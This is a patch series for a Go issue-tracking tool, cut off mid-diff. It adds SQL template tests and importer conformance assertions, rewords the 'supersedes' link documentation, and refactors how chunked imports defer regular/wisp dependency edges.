index 000000000..4122c3032 --- /dev/null +++ b/internal/storage/issueops/blocked_state_template_test.go @@ -0,0 +1,95 @@ +package issueops + +import ( + "strings" + "testing" +) + +// The batched mark/unmark templates reach the engine through +// expandBatchTemplate, which decides how many IN-lists to splice by counting +// "%s" textually. Two things are therefore load-bearing and invisible to the +// sqlmock suite next door — its expectations match an unanchored statement +// prefix and never assert bound args, so it stays green against a miscounted +// template: the occurrence count itself, and the absence of any other percent +// sign in the finished template (a future LIKE 'x%' or %d in a union leg would +// shift the count or corrupt the statement). Today a break surfaces only in the +// container-backed dolt suite; these tests pin it at the fast tier +// (gastownhall/beads#6291). + +// batchTemplateOccurrences is the number of IN-lists a batched template +// carries: the outer row filter, plus one per leg of the scoped +// should-be-blocked union. +const batchTemplateOccurrences = 6 + +func batchedTemplates() map[string]string { + return map[string]string{ + "markBlockedTemplateForIssues": markBlockedTemplateForIssues(), + "unmarkBlockedTemplateForIssues": unmarkBlockedTemplateForIssues(), + "markBlockedTemplateForWisps": markBlockedTemplateForWisps(), + "unmarkBlockedTemplateForWisps": unmarkBlockedTemplateForWisps(), + } +} + +func TestBatchedTemplatePercentBudget(t *testing.T) { + for name, tmpl := range batchedTemplates() { + t.Run(name, func(t *testing.T) { + if got := strings.Count(tmpl, "%s"); got != batchTemplateOccurrences { + t.Errorf("%%s count = %d, want %d — expandBatchTemplate binds one id group per occurrence, so a changed count must be a deliberate edit here", got, batchTemplateOccurrences) + } + // The stray-percent guard: every percent sign in the finished + // template must belong to one of the %s verbs counted above. + if got := strings.Count(tmpl, "%"); got != batchTemplateOccurrences { + t.Errorf("total %% count = %d, want %d — a percent sign outside a %%s (LIKE 'x%%', %%d, %%%%) miscounts the template or corrupts the statement", got, batchTemplateOccurrences) + } + }) + } +} + +func TestWaitsForGateBlockedSQLCarriesNoPercent(t *testing.T) { + // The gate is spliced into every template as a resolved constant, so any + // percent sign it grew would land in the counted text above. + if got := strings.Count(waitsForGateBlockedSQL, "%"); got != 0 { + t.Errorf("waitsForGateBlockedSQL %% count = %d, want 0", got) + } +} + +func TestExpandBatchTemplateFillsEveryOccurrence(t *testing.T) { + placeholders, args := buildSQLInClause([]string{"issue-1", "issue-2"}) + wantArgs := batchTemplateOccurrences * len(args) + + for name, tmpl := range batchedTemplates() { + t.Run(name, func(t *testing.T) { + stmt, stmtArgs := expandBatchTemplate(tmpl, placeholders, args) + + if strings.ContainsAny(stmt, "%") { + t.Errorf("expanded statement still contains %%: %s", stmt) + } + if got := strings.Count(stmt, "?"); got != wantArgs { + t.Errorf("placeholder count = %d, want %d", got, wantArgs) + } + if got := len(stmtArgs); got != wantArgs { + t.Fatalf("arg count = %d, want %d — placeholders and args must stay in lockstep", got, wantArgs) + } + // Each occurrence gets the same group, repeated in order. + for i, arg := range stmtArgs { + if want := args[i%len(args)]; arg != want { + t.Errorf("arg %d = %v, want %v", i, arg, want) + } + } + }) + } +} + +func TestExpandBatchTemplateSingleOccurrenceDegrades(t *testing.T) { + // A template with one %s is the plain Sprintf it always was: the args pass + // through untouched rather than being repeated. + placeholders, args := buildSQLInClause([]string{"issue-1", "issue-2"}) + stmt, stmtArgs := expandBatchTemplate("SELECT id FROM issues WHERE id IN (%s)", placeholders, args) + + if want := "SELECT id FROM issues WHERE id IN (?,?)"; stmt != want { + t.Errorf("stmt = %q, want %q", stmt, want) + } + if len(stmtArgs) != len(args) { + t.Errorf("arg count = %d, want %d", len(stmtArgs), len(args)) + } +} From 6ee989342abfac3085b3b15a8b2c6d7641028b70 Mon Sep 17 00:00:00 2001 From: Bee Date: Sat, 12 Sep 2026 06:04:46 -0700 Subject: [PATCH 045/624] test(conformance): pin the PLANE of the importer's cross-plane edge assertions (#6218) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(conformance): pin the PLANE of the importer's cross-plane edge assertions (wy-dpzjid) RunImporterWiresTheCrossPlaneEdgeBetweenItsRows documents that each direction is asserted on its own table and column, but importerEdgeCount sums BOTH dependency tables across all three target columns, so the case passed with either edge written to the other plane's table or under the wrong target column. Only the uow-tier test pinned placement. Add assertImporterPlaneEdgeCount (one table, one column, in the idiom of assertBatchApplyPlaneEdgeCount) and assert exactly one row in wisp_dependencies.depends_on_issue_id for wisp->durable, exactly one in dependencies.depends_on_wisp_id for durable->wisp, and zero in the other plane's table each way. importerEdgeCount stays for the "dropped everywhere" cases, where summing both planes is the right question. Verified (darwin/arm64): - go test ./internal/storage/uow -run TestImporterContract -count=1: ok - Negative control: pointing the wisp->durable assertion at `dependencies` fails with "dependencies.depends_on_issue_id rows ... = 0, want 1" - BEADS_TEST_EMBEDDED_DOLT=1 go test ./internal/storage/embeddeddolt -run 'TestConformance/Audit/molecule-wisp-batch-iter': ok - gofmt -l clean, go vet ./backend/conformance clean Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_0173FRLuAy3NUjVvwFaLVj2r * test(conformance): keep the summed edge guard beside the plane pins Maintainer review fixup for PR #6218 (non-gating polish; the review approved the PR as-is). Review finding (minor, gate impact none): replacing the two summed assertions with four plane-pinned ones narrowed observation from all six table x column cells per edge to two — the expected cell and the same-column mirror. Every single-write misroute still fails the positive assertion, but a same-edge DUPLICATE landing under one of the four unnamed cells regressed from caught (the old sum read 2 against want 1) to silent, in the one case whose whole subject is edge placement. Keep both belts instead of trading one for the other: the pinned cells state WHERE the edge landed, the restored sum states that it landed NOWHERE ELSE. Together they also make the helper's claim exact — total 1 with the expected cell at 1 leaves every remaining cell empty — so the doc no longer overstates a single mirror-cell check as "the other plane holds none". Also (nit): give importerEdgeCount's doc the missing pointer to assertImporterPlaneEdgeCount, mirroring the two-way cross-reference the batch pair already sets (batch_apply_contract.go:2093-2113). That doc is this package's navigation system, and a summed counter that names no placement alternative is how the blind spot this PR fixes gets reintroduced. Validation on this tree: go test ./internal/storage/uow -run TestImporterContract -count=1 -tags gms_pure_go — ok 21.0s, 9 subtests green including WiresTheCrossPlaneEdgeBetweenItsRows, no skips. The restored guards were proven live, not vacuous: flipping both wants to 2 fails with "edges ... = 1, want 2" from each, while the pinned assertions stay silent, so the sum is an independent observation of the four cells they cannot see. gofmt, go vet, go build clean. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- backend/conformance/importer_contract.go | 36 +++++++++++++++++++++++- 1 file changed, 35 insertions(+), 1 deletion(-) diff --git a/backend/conformance/importer_contract.go b/backend/conformance/importer_contract.go index 301ecb095..533336ea6 100644 --- a/backend/conformance/importer_contract.go +++ b/backend/conformance/importer_contract.go @@ -277,7 +277,16 @@ func RunImporterWiresTheCrossPlaneEdgeBetweenItsRows(t *testing.T, ctx context.C if result.Created != 3 { t.Errorf("Created = %d, want 3", result.Created) } + // BOTH BELTS PER DIRECTION: the pinned cell fails a misrouted edge (the + // expected cell reads 0), and the summed total fails a DUPLICATE landing in + // any of the six table x column cells, which no per-cell count can see. The + // two together also make "the other plane holds none" exact: total 1 with + // the expected cell at 1 leaves every remaining cell empty. + assertImporterPlaneEdgeCount(t, ctx, fixture, "wisp_dependencies", "depends_on_issue_id", wisp, durable, 1) + assertImporterPlaneEdgeCount(t, ctx, fixture, "dependencies", "depends_on_issue_id", wisp, durable, 0) assertImporterEdgeCount(t, ctx, fixture, wisp, durable, 1) + assertImporterPlaneEdgeCount(t, ctx, fixture, "dependencies", "depends_on_wisp_id", depender, wisp, 1) + assertImporterPlaneEdgeCount(t, ctx, fixture, "wisp_dependencies", "depends_on_wisp_id", depender, wisp, 0) assertImporterEdgeCount(t, ctx, fixture, depender, wisp, 1) assertImporterSkipped(t, result, nil) } @@ -415,7 +424,9 @@ func assertImporterRowCount(t *testing.T, ctx context.Context, fixture ImporterF // importerEdgeCount counts the stored edges from source to target across BOTH // dependency tables and all three target columns. A dropped edge is dropped on // every plane, so the cases that expect zero want zero everywhere, and a -// per-table count could report one while the row sat in the other. +// per-table count could report one while the row sat in the other. WHICH of the +// six cells a row landed in is a placement detail the cases that care about it +// assert through assertImporterPlaneEdgeCount instead. func importerEdgeCount(t *testing.T, ctx context.Context, fixture ImporterFixture, source, target string) int { t.Helper() var got int @@ -438,6 +449,29 @@ func assertImporterEdgeCount(t *testing.T, ctx context.Context, fixture Importer } } +// assertImporterPlaneEdgeCount pins WHERE an edge landed: one table and one +// target column, the way RunImporterWiresTheCrossPlaneEdgeBetweenItsRows +// documents its claim. importerEdgeCount deliberately sums both planes, which +// is right for "dropped everywhere" and wrong for "wired in the right place": +// an edge written to the other plane's table, or under the wrong target +// column, counts as one there too. ONE CALL PINS ONE CELL, so the cross-plane +// case asserts the expected cell holds exactly one row and the mirror cell of +// the other plane holds none, and keeps importerEdgeCount's summed total +// alongside them — a duplicate under one of the four cells neither call names +// is invisible to this helper and is exactly what the sum still catches. +func assertImporterPlaneEdgeCount(t *testing.T, ctx context.Context, fixture ImporterFixture, table, column, source, target string, want int) { + t.Helper() + //nolint:gosec // G201: table and column are hardcoded names from this contract's call sites. + query := "SELECT COUNT(*) FROM " + table + " WHERE issue_id = ? AND " + column + " = ?" + var got int + if err := fixture.QueryScalar(ctx, query, []any{source, target}, &got); err != nil { + t.Fatalf("count %s.%s edges %s -> %s: %v", table, column, source, target, err) + } + if got != want { + t.Errorf("%s.%s rows %s -> %s = %d, want %d", table, column, source, target, got, want) + } +} + // assertImporterScalar asserts one stored column of one durable row. func assertImporterScalar(t *testing.T, ctx context.Context, fixture ImporterFixture, what, id, want string) { t.Helper() From 83184f4c6adfb10491e3c33f30e017d48e6950d2 Mon Sep 17 00:00:00 2001 From: Bee Date: Sat, 12 Sep 2026 06:41:33 -0700 Subject: [PATCH 046/624] docs: supersedes is a replacement link, not a version chain (#6212) * docs: supersedes is a replacement link, not a version chain Reword the DepSupersedes comment (internal/types/types.go), the `bd supersede` help text, and the graph-links doc: `supersedes` marks an old issue as replaced by a different issue. It is not a version relation and does not imply a version chain. The behavior is unchanged. Promised on #5898 (Q8, quad341 revision 4): a replacement link, not a version-chain link. docs/CLI_REFERENCE.md is pinned to v1.2.2 and picks this up at the next release bump (generate-cli-docs.sh --check passes). Wyvern bead wy-h4xd6f. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01PvjeDsoyDfjptvjKZWzcqA * docs: finish the supersedes rewording pass in graph-links + dependencies Maintainer review fixup for PR #6212. The PR's new assertion "This is a replacement link, not a version relation" left the rest of graph-links.md still telling the version-chain story, so the page contradicted itself. Each residual line is byte-identical to base, but the contradiction is new with this commit. Extends the same wording pass to the sites that actually assert version semantics: - frontmatter description: "supersedes chains" -> "supersedes (replacement) links" (this is the rendered page description) - the example comment "# View shows the chain" -> "# View shows the replacement" - "### Version History" -> "### Replacement History" and "# bd-rfc3 is now the current version" -> "# bd-rfc3 is now the live issue" - Best Practice 4 "Document supersedes chains - Note why version changed" -> "Document replacements - Note why the issue was replaced" The use-case list ("Design document versions", "Artifact versioning", "RFC chains") and "Track document evolution" are deliberately left alone: chained replacements legitimately model document evolution without the link itself being a version relation. Also rewords the sibling core-concepts table, docs/core-concepts/ dependencies.md:56, from "Replaced by a newer issue" to "Replaced by a different issue" so both hand-written pages frame the edge the same way. No in-repo reference targets the renamed #version-history anchor. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- cmd/bd/duplicate.go | 4 ++-- docs/core-concepts/dependencies.md | 2 +- docs/core-concepts/graph-links.md | 14 +++++++------- internal/types/types.go | 2 +- 4 files changed, 11 insertions(+), 11 deletions(-) diff --git a/cmd/bd/duplicate.go b/cmd/bd/duplicate.go index 6bf37bc5f..9de5584e5 100644 --- a/cmd/bd/duplicate.go +++ b/cmd/bd/duplicate.go @@ -28,8 +28,8 @@ Examples: var supersedeCmd = &cobra.Command{ Use: "supersede --with ", GroupID: "deps", - Short: "Mark an issue as superseded by a newer one", - Long: `Mark an issue as superseded by a newer version. + Short: "Mark an issue as superseded by a replacement issue", + Long: `Mark an issue as superseded by a different (replacement) issue. The superseded issue is automatically closed with a reference to the replacement. Useful for design docs, specs, and evolving artifacts. diff --git a/docs/core-concepts/dependencies.md b/docs/core-concepts/dependencies.md index 4ef716ac0..8a120559a 100644 --- a/docs/core-concepts/dependencies.md +++ b/docs/core-concepts/dependencies.md @@ -53,7 +53,7 @@ Dependencies have a type that determines whether they block work. | `discovered-from` | Found during work on another issue | | `caused-by` | Root cause link | | `validates` | Test or verification link | -| `supersedes` | Replaced by a newer issue (`bd supersede old --with new`) | +| `supersedes` | Replaced by a different issue (`bd supersede old --with new`) | Specify with `--type`: diff --git a/docs/core-concepts/graph-links.md b/docs/core-concepts/graph-links.md index e3ea2c558..ab97f0008 100644 --- a/docs/core-concepts/graph-links.md +++ b/docs/core-concepts/graph-links.md @@ -1,6 +1,6 @@ --- title: Graph Links in Beads -description: "Non-blocking links between issues: replies-to threads, relates-to, duplicates, and supersedes chains" +description: "Non-blocking links between issues: replies-to threads, relates-to, duplicates, and supersedes (replacement) links" --- Beads supports several types of links between issues to create a knowledge graph. These links enable rich querying and traversal beyond simple blocking dependencies. @@ -114,9 +114,9 @@ bd show bd-bug2 - Original (canonical) issue remains open - `duplicate_of` field stores the canonical ID -### supersedes - Version Chains +### supersedes - Replacement Links -Marks an issue as superseded by a newer version. The old issue is automatically closed. +Marks an issue as superseded by a different (replacement) issue. The old issue is automatically closed. This is a replacement link, not a version relation: the new issue takes the old one's place. **Created by:** - `bd supersede --with ` @@ -142,7 +142,7 @@ bd create --title "Design Doc v2" --type task bd supersede bd-doc1 --with bd-doc2 # Result: bd-doc1 closed with superseded_by: bd-doc2 -# View shows the chain +# View shows the replacement bd show bd-doc1 # Status: closed # Superseded by: bd-doc2 @@ -247,14 +247,14 @@ bd duplicate bd-bug42 --of bd-bug17 bd duplicate bd-bug58 --of bd-bug17 ``` -### Version History +### Replacement History Track document evolution: ```bash bd supersede bd-rfc1 --with bd-rfc2 bd supersede bd-rfc2 --with bd-rfc3 -# bd-rfc3 is now the current version +# bd-rfc3 is now the live issue ``` ### Message Threading @@ -272,7 +272,7 @@ Build conversation chains (via orchestrator mail): 1. **Use relates-to sparingly** - Too many links become noise 2. **Prefer specific link types** - `duplicates` is clearer than generic relates-to 3. **Keep threads shallow** - Deep reply chains are hard to follow -4. **Document supersedes chains** - Note why version changed +4. **Document replacements** - Note why the issue was replaced 5. **Query before creating duplicates** - `bd search` first ## See Also diff --git a/internal/types/types.go b/internal/types/types.go index 4ff9afa36..5fa0e06b5 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -1224,7 +1224,7 @@ const ( DepRepliesTo DependencyType = "replies-to" // Conversation threading DepRelatesTo DependencyType = "relates-to" // Loose knowledge graph edges DepDuplicates DependencyType = "duplicates" // Deduplication link - DepSupersedes DependencyType = "supersedes" // Version chain link + DepSupersedes DependencyType = "supersedes" // Replacement link: old issue superseded by a different issue (bd supersede); not a version relation // Entity types (HOP foundation - Decision 004) DepAuthoredBy DependencyType = "authored-by" // Creator relationship From e21eaf00ae63957fd3c46421610dc525dc42dc81 Mon Sep 17 00:00:00 2001 From: Bee Date: Sat, 12 Sep 2026 07:30:54 -0700 Subject: [PATCH 047/624] refactor(import): retire the same-chunk regular<->wisp deferral (wy-y52syc) (#6159) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * refactor(import): retire the same-chunk regular<->wisp deferral (wy-y52syc) wy-a648lq made the engine write an in-batch regular<->wisp edge under SkipDependencyValidationErrors (every row of both planes is on the one tx before PersistDependenciesWithOptionsResult), so the wy-4276q8 workaround in the classic import is redundant. Removed: splitDepsByChunk's same-chunk crossesBucket deferral, the wispByID map in partitionChunkedImportDeps, and importIssuesCore's hasCrossBucketBatchEdge reroute of a small import onto the chunked path. Also retired the dependency pass's single-plane split (splitDepRowsByBucket), which existed for the same filter and whose comment already named this bead. The plain later-chunk deferral is unchanged. Tests: the unit test for the same-chunk case now asserts the edge rides inline with no dependency pass; the small-batch test asserts one inline transaction; the embedded MixedRegularWisp test asserts one mixed pass; the resume-backfill drill is reshaped so a later-chunk cross-bucket related edge still defers and is backfilled on re-run, while the same-chunk blocks edge is durable after the crash. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01JzJhoB3wAyxWDr5afcUskB * test(import): retire the dependency-pass narrative in the mixed in-batch case This PR inverted the routing for the two-row mixed regular/wisp fixture in TestImportFromLocalJSONL. At base the small-path guard also required `!hasCrossBucketBatchEdge(issues)`, so that batch took the chunked path and the regular -> wisp edge really was wired by the single-plane dependency pass (wy-4276q8). At HEAD the guard is `len(issues) <= importChunkSize` alone, so the batch takes the small path and the edge rides inline in its rows' own transaction. The assertions were already the correct post-change invariant, but the subtest name, the rationale comment, and the failure message still described the retired mechanism — the same narrative sweep this PR performed in the two test files it did touch. Prose only; assertions untouched. The comment now also records that this case is the real-engine guard for the small inline path, so its mock-based sibling (TestImportIssuesCoreSmallBatchCrossBucketEdgeStaysInline) is not mistaken for engine coverage. Maintainer review fixup for PR #6159. Refs wy-y52syc, wy-a648lq, wy-4276q8. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- cmd/bd/import_chunking_embedded_test.go | 88 ++++++----- cmd/bd/import_chunking_test.go | 92 ++++-------- cmd/bd/import_from_jsonl_test.go | 16 +- cmd/bd/import_shared.go | 186 ++++++------------------ 4 files changed, 137 insertions(+), 245 deletions(-) diff --git a/cmd/bd/import_chunking_embedded_test.go b/cmd/bd/import_chunking_embedded_test.go index 751a02241..f4acf2cfe 100644 --- a/cmd/bd/import_chunking_embedded_test.go +++ b/cmd/bd/import_chunking_embedded_test.go @@ -584,10 +584,11 @@ func TestImportChunkedStaleRejectedRowKeepsDeferredDepsOut(t *testing.T) { // Cross-bucket (regular<->wisp) edges across a chunk boundary. Pre-wy-4276q8 // the import applied the engine's per-batch cross-bucket filter over the FULL -// set up front and so dropped every such edge; it now defers a same-chunk one -// to a single-plane dependency pass (a workaround the engine no longer needs -// since wy-a648lq, which writes in-batch cross-plane edges under -// SkipDependencyValidationErrors; wy-y52syc retires it). This exercises the +// set up front and so dropped every such edge; the engine now writes an +// in-batch cross-plane edge under SkipDependencyValidationErrors (wy-a648lq), +// so the import defers one only by the plain chunk rule (target first written +// in a later chunk) and wires it in one mixed dependency pass (the +// single-plane split of wy-4276q8 was retired by wy-y52syc). This exercises the // outcome end to end against the real engine: a regular -> wisp edge // straddling a chunk boundary must be wired, not skip-reported, and a // same-bucket wisp -> wisp edge straddling the same boundary must survive as @@ -609,9 +610,9 @@ func TestImportChunkedMixedRegularWispCrossBucketEdgesWired(t *testing.T) { // 12 rows across three chunks (5/5/2) at chunk size 5. Every edge below is // `related` (non-readiness), so orderImportIssuesForChunking preserves file // order and the two forward edges genuinely straddle the chunk-0/chunk-1 - // boundary. Chunks 0 and 1 are each mixed (regular + wisp), so the engine's - // per-chunk mixed-bucket filter actually runs instead of short-circuiting on - // an all-one-bucket chunk. + // boundary. Chunks 0 and 1 are each mixed (regular + wisp), so the rows of + // both planes share one transaction — the shape wy-a648lq writes the + // cross-plane edge under. makeIssues := func() []*types.Issue { issues := []*types.Issue{ mk("bd-chunk01", false), // chunk 0: regular source of the cross-bucket edge @@ -641,12 +642,11 @@ func TestImportChunkedMixedRegularWispCrossBucketEdgesWired(t *testing.T) { if err != nil { t.Fatalf("importIssuesCore: %v", err) } - // 3 row chunks (5/5/2) plus TWO deferred-dependency passes: the regular - // plane (bd-chunk01 -> bd-wisp07) and the wisp plane (bd-wisp02 -> - // bd-wisp07) go in separate transactions, so the cross-bucket edge's - // target is never in its batch. - if counting.calls != 5 { - t.Fatalf("calls = %d, want 3 row chunks + 2 single-plane deferred-dependency passes", counting.calls) + // 3 row chunks (5/5/2) plus ONE mixed deferred-dependency pass carrying + // both source rows (bd-chunk01 -> bd-wisp07 and bd-wisp02 -> bd-wisp07): + // the pass no longer splits by plane. + if counting.calls != 4 { + t.Fatalf("calls = %d, want 3 row chunks + 1 mixed deferred-dependency pass", counting.calls) } if result.Created != 12 { t.Fatalf("Created = %d, want 12", result.Created) @@ -686,13 +686,16 @@ func TestImportChunkedMixedRegularWispCrossBucketEdgesWired(t *testing.T) { } } -// The wy-4276q8 rollback-drill shape against the real engine: a regular issue -// blocked by a wisp created in the same chunk (deferred edge) and a wisp -// blocked by a regular issue from an earlier chunk (inline edge). The import -// dies after the row chunks and before the dependency pass — where every drill -// attempt died — so the inline edge is durable and the deferred one is not yet; -// re-running the same import must backfill it with nothing skip-reported, and -// a further run must be a no-op for the edges. +// The wy-4276q8 rollback-drill shape against the real engine, after the +// same-chunk deferral's retirement (wy-y52syc): a wisp blocked by a regular +// issue created in the SAME chunk (an inline edge now), a wisp blocked by a +// regular issue from an earlier chunk (inline edge), and a regular issue +// related to a wisp first written in a LATER chunk (still deferred, by the +// plain chunk rule). The import dies after the row chunks and before the +// dependency pass — where every drill attempt died — so both inline edges are +// durable and the deferred one is not yet; re-running the same import must +// backfill it with nothing skip-reported, and a further run must be a no-op +// for the edges. func TestImportChunkedCrossBucketBlocksEdgesResumeBackfills(t *testing.T) { requireEmbeddedDolt(t) setImportChunkSize(t, 4) @@ -701,21 +704,30 @@ func TestImportChunkedCrossBucketBlocksEdgesResumeBackfills(t *testing.T) { ctx := context.Background() store := provisionChunkStore(t) - // Kahn's ordering yields chunk 0: f1 f2 f3 f4 chunk 1: w1 w2 r1 - // r1 -> w1 is same-chunk cross-bucket (deferred); w2 -> f1 points at an - // earlier chunk (inline). + // Kahn's ordering (indegree-0 rows in file order, dependents released + // behind them) yields + // chunk 0: f1 f2 f3 f4 chunk 1: r1 f5 f6 f7 chunk 2: r2 w2 w1 + // w1 -> r2 is same-chunk cross-bucket (inline since wy-y52syc); w2 -> f1 + // points at an earlier chunk (inline); r1 -related-> w2 points at a LATER + // chunk (deferred). makeIssues := func() []*types.Issue { issues := []*types.Issue{ crossBucketTestIssue("bd-f1", false), crossBucketTestIssue("bd-f2", false), crossBucketTestIssue("bd-f3", false), crossBucketTestIssue("bd-f4", false), - crossBucketTestIssue("bd-w1", true), crossBucketTestIssue("bd-r1", false), + crossBucketTestIssue("bd-f5", false), + crossBucketTestIssue("bd-f6", false), + crossBucketTestIssue("bd-f7", false), + crossBucketTestIssue("bd-w1", true), + crossBucketTestIssue("bd-r2", false), crossBucketTestIssue("bd-w2", true), } - issues[5].Dependencies = []*types.Dependency{{IssueID: "bd-r1", DependsOnID: "bd-w1", Type: types.DepBlocks}} - issues[6].Dependencies = []*types.Dependency{{IssueID: "bd-w2", DependsOnID: "bd-f1", Type: types.DepBlocks}} + issues[4].Dependencies = []*types.Dependency{{IssueID: "bd-r1", DependsOnID: "bd-w2", Type: types.DepRelated}} + issues[8].Dependencies = []*types.Dependency{{IssueID: "bd-w1", DependsOnID: "bd-r2", Type: types.DepBlocks}} + issues[9].Dependencies = []*types.Dependency{{IssueID: "bd-r2", DependsOnID: "bd-f1", Type: types.DepBlocks}} + issues[10].Dependencies = []*types.Dependency{{IssueID: "bd-w2", DependsOnID: "bd-f1", Type: types.DepBlocks}} return issues } depIDs := func(id string) []string { @@ -731,23 +743,26 @@ func TestImportChunkedCrossBucketBlocksEdgesResumeBackfills(t *testing.T) { return ids } - failing := &failNthCreateStore{DoltStorage: store, failOnCall: 3} + failing := &failNthCreateStore{DoltStorage: store, failOnCall: 4} if _, err := importIssuesCore(ctx, "", failing, makeIssues(), ImportOptions{SkipPrefixValidation: true}); err == nil { t.Fatalf("importIssuesCore succeeded, want the simulated crash in the dependency pass") } - if failing.calls != 3 { - t.Fatalf("calls = %d, want 2 row chunks + the failing dependency pass", failing.calls) + if failing.calls != 4 { + t.Fatalf("calls = %d, want 3 row chunks + the failing dependency pass", failing.calls) } - for _, id := range []string{"bd-f1", "bd-f2", "bd-f3", "bd-f4", "bd-w1", "bd-r1", "bd-w2"} { + for _, id := range []string{"bd-f1", "bd-f2", "bd-f3", "bd-f4", "bd-r1", "bd-f5", "bd-f6", "bd-f7", "bd-w1", "bd-r2", "bd-w2"} { if _, err := store.GetIssue(ctx, id); err != nil { t.Fatalf("row %s not durable after the crash: %v", id, err) } } + if got := depIDs("bd-w1"); len(got) != 1 || got[0] != "bd-r2" { + t.Fatalf("bd-w1 deps after crash = %v, want the same-chunk cross-bucket edge [bd-r2] already durable (inline since wy-y52syc)", got) + } if got := depIDs("bd-w2"); len(got) != 1 || got[0] != "bd-f1" { t.Fatalf("bd-w2 deps after crash = %v, want the inline cross-bucket edge [bd-f1] already durable", got) } if got := depIDs("bd-r1"); len(got) != 0 { - t.Fatalf("bd-r1 deps after crash = %v, want none yet (deferred edge lost with the dependency pass)", got) + t.Fatalf("bd-r1 deps after crash = %v, want none yet (deferred later-chunk edge lost with the dependency pass)", got) } // The re-run backfills the deferred edge: this is the drill's "re-run @@ -759,8 +774,11 @@ func TestImportChunkedCrossBucketBlocksEdgesResumeBackfills(t *testing.T) { if len(result.SkippedDependencies) != 0 { t.Fatalf("re-run SkippedDependencies = %#v, want none", result.SkippedDependencies) } - if got := depIDs("bd-r1"); len(got) != 1 || got[0] != "bd-w1" { - t.Fatalf("bd-r1 deps after re-run = %v, want the cross-bucket edge [bd-w1] backfilled", got) + if got := depIDs("bd-r1"); len(got) != 1 || got[0] != "bd-w2" { + t.Fatalf("bd-r1 deps after re-run = %v, want the later-chunk cross-bucket edge [bd-w2] backfilled", got) + } + if got := depIDs("bd-w1"); len(got) != 1 || got[0] != "bd-r2" { + t.Fatalf("bd-w1 deps after re-run = %v, want [bd-r2] kept", got) } if got := depIDs("bd-w2"); len(got) != 1 || got[0] != "bd-f1" { t.Fatalf("bd-w2 deps after re-run = %v, want [bd-f1] kept", got) @@ -774,7 +792,7 @@ func TestImportChunkedCrossBucketBlocksEdgesResumeBackfills(t *testing.T) { if len(result.SkippedDependencies) != 0 { t.Fatalf("third run SkippedDependencies = %#v, want none", result.SkippedDependencies) } - if got := depIDs("bd-r1"); len(got) != 1 || got[0] != "bd-w1" { - t.Fatalf("bd-r1 deps after third run = %v, want [bd-w1]", got) + if got := depIDs("bd-r1"); len(got) != 1 || got[0] != "bd-w2" { + t.Fatalf("bd-r1 deps after third run = %v, want [bd-w2]", got) } } diff --git a/cmd/bd/import_chunking_test.go b/cmd/bd/import_chunking_test.go index 14eb3e278..170a6c8dd 100644 --- a/cmd/bd/import_chunking_test.go +++ b/cmd/bd/import_chunking_test.go @@ -347,28 +347,21 @@ func crossBucketTestIssue(id string, wisp bool) *types.Issue { return issue } -// assertNoSameBatchCrossBucketEdge fails if any recorded batch carries an edge -// whose target is a row of that same batch on the other plane — the exact -// shape the engine's per-batch cross-bucket filter skip-reports as a -// cross-bucket dependency. It also fails if an edge commits -// before its target row exists (target first written in a later batch). -func assertNoSameBatchCrossBucketEdge(t *testing.T, store *chunkRecordingStore) { +// assertEdgesCommitAfterTargets fails if any recorded batch carries an edge +// that commits before its target row exists (target first written in a later +// batch). A regular<->wisp edge whose target is a row of the same batch is +// fine: the engine writes it (wy-a648lq), so the import no longer defers it. +func assertEdgesCommitAfterTargets(t *testing.T, store *chunkRecordingStore) { t.Helper() firstBatchOf := map[string]int{} - wispByID := map[string]bool{} for b, batch := range store.batches { for _, issue := range batch { if _, ok := firstBatchOf[issue.ID]; !ok { firstBatchOf[issue.ID] = b } - wispByID[issue.ID] = issue.Ephemeral } } for b, batch := range store.batches { - inBatch := map[string]bool{} - for _, issue := range batch { - inBatch[issue.ID] = true - } for _, issue := range batch { for _, dep := range issue.Dependencies { tb, ok := firstBatchOf[dep.DependsOnID] @@ -378,9 +371,6 @@ func assertNoSameBatchCrossBucketEdge(t *testing.T, store *chunkRecordingStore) if tb > b { t.Fatalf("batch %d: %s -> %s commits before its target exists (target first written in batch %d)", b, issue.ID, dep.DependsOnID, tb) } - if inBatch[dep.DependsOnID] && wispByID[issue.ID] != wispByID[dep.DependsOnID] { - t.Fatalf("batch %d: %s -> %s is a regular<->wisp edge whose target is in the same batch; the engine would skip-report it as cross-bucket", b, issue.ID, dep.DependsOnID) - } } } } @@ -400,25 +390,23 @@ func depTargetsIn(store *chunkRecordingStore, b int, id string) []string { return targets } -// A regular<->wisp edge whose endpoints are created in the same chunk cannot be -// wired in that chunk's transaction (the engine's per-batch cross-bucket -// filter skip-reports it), so the -// import must defer it to the dependency pass, while one into an earlier chunk -// points at a committed row and rides inline. Every dependency-pass -// transaction must be single-plane, or a deferred edge's target could sit in -// the same batch on the other plane and be skipped all over again. Pre-fix the -// import filtered every in-batch cross-bucket edge out up front and reported -// it skipped — export→import lost every such edge, and a re-run could never -// backfill it (wy-4276q8). -func TestImportChunkedCrossBucketEdgesDeferredToSinglePlanePass(t *testing.T) { +// A regular<->wisp edge whose endpoints are created in the same chunk rides +// inline with its row, exactly like a same-plane edge: the engine writes an +// in-batch cross-plane edge under SkipDependencyValidationErrors (wy-a648lq). +// The import once deferred such an edge to a single-plane dependency pass to +// dodge the engine's per-batch cross-bucket filter (wy-4276q8, which had lost +// every such edge on export→import); wy-y52syc retired that deferral, so a +// batch whose edges all point at same- or earlier-chunk rows needs no +// dependency pass at all. +func TestImportChunkedSameChunkCrossBucketEdgesRideInline(t *testing.T) { setImportChunkSize(t, 4) recordImportPauses(t) setImportProgressBuffer(t) // File order and blocking edges chosen so that Kahn's ordering (indegree-0 // rows in file order, dependents released behind them) yields // chunk 0: f1 f2 f3 f4 chunk 1: w1 r2 w3 r1 chunk 2: w2 - // r1 -> w1 lands in the same chunk as its wisp target (must defer); - // w3 -> f1 and w2 -> r2 point at 